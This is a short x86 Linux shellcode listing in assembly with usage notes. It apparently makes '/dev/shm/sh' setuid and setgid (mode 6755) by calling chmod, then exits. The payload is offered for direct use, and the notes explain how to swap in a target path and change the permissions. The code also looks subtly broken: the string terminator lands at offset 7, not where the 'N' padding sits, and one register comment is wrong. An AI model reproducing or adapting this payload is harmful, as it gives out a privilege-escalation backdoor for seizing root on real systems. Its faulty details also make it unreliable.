.section .data
.globl _start
_start:
nop
jmp loadstring # jump so we can put out string in mem
main:
xor %eax, %eax # clear out syscall register
xor %ebx, %ebx # clear out first argument (file)
xor %ecx, %ecx # clear out second argument (perms)
pop %ebx # put our string into the second arg
movb %al, 7(%ebx) # terminate our string where the N is
mov $0xded, %cx # move perms (6755) into the third arg
mov $0xf, %al # move chmod syscall into %al register
int $0x80 # call chmod(file, perms)
xor %eax, %eax
mov %eax, %ebx
inc %eax
int $0x80
loadstring:
call main
.ascii "/dev/shm/shN"
Place your file in between the quotes on the last line, terminate with an N for padding.
Default permissions are 6755. Edit "mov $0xded" to change permissions. Numbers are hex values.